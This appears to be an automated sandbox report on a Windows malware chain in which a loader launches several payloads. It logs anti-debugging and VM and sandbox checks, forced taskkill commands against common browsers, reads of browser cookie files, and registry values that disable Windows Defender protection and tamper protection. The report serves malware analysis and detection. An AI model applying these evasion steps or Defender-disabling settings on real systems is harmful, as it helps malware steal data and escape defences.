Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe TID: 3604	Thread sleep count: 152 > 30
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 6096	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 2736	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 7572	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 1808	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 560	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 5644	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe TID: 5268	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe TID: 7432	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe TID: 6044	Thread sleep count: 719 > 30
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe TID: 6044	Thread sleep count: 180 > 30
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe TID: 6440	Thread sleep count: 121 > 30
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe TID: 6440	Thread sleep count: 145 > 30

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: skotes.exe, skotes.exe, 00000002.00000002.1759513034.0000000000D32000.00000040.00000001.01000000.00000008.sdmp, 86526d7b20.exe, 86526d7b20.exe, 0000000A.00000002.2689532342.0000000001307000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2235d4f703.exe, 0000000B.00000003.3009828676.000000000139C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.0000000000722000.00000004.00000020.00020000.00000000.sdmp, 86526d7b20.exe, 0000000A.00000002.2688574615.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3009828676.000000000139C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 86526d7b20.exe, 0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.1700371307.0000000000C87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}00Z
Source: file.exe, 00000000.00000002.1735148781.0000000000842000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1759536292.0000000000D32000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1759513034.0000000000D32000.00000040.00000001.01000000.00000008.sdmp, 86526d7b20.exe, 0000000A.00000002.2689532342.0000000001307000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AE05B4 rdtsc

0_2_04AE05B4

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 86526d7b20.exe PID: 3428, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe "C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe "C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T

Source: 9afe8d29fa.exe, 0000000C.00000002.2768066825.0000000000C12000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 86526d7b20.exe, 86526d7b20.exe, 0000000A.00000002.2689532342.0000000001307000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: MProgram Manager
Source: firefox.exe, 00000019.00000002.2942835188.000000ADF41FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi
Source: skotes.exe, skotes.exe, 00000002.00000002.1759513034.0000000000D32000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: \|/Program Manager

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
